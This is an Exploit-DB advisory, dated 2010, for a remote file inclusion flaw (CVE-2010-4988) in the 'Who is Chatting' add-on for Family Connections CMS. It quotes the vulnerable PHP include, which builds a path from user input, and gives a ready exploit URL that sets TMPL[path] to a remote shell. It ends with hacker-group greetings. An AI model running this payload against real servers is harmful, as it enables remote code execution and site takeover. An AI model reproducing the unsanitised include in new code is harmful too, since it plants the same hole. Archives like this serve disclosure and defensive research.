Family Connections Who is Chatting AddOn - Remote File Inclusion Vulnerability

2010-07-03T00:00:00
ID EDB-ID:14186
Type exploitdb
Reporter lumut--
Modified 2010-07-03T00:00:00

Description

Family Connections Who is Chatting Add-On Remote File Inclusion Vulnerability. CVE-2010-4988. Webapps exploit for php platform

                                        
                                            *=======================================================
Who is Chatting 2.2.3 Remote File Include Vulnerability
=======================================================

# Author         : lumut--
# Script Details : http://www.familycms.com/downloads/details.php?file=50
# Bugs           :

<?
$chat_inc = $TMPL[\'path\'] . \"inc/chatting_inc.php\";
include_once ($chat_inc);
?>

# Expl: http://server/mod_chatting/themes/default/header.php?TMPL[path]=[shell]

# Greetz & Thanks: cr4wl3r, team_elite, kisame, virusfree, doniskynet,
manadocoding*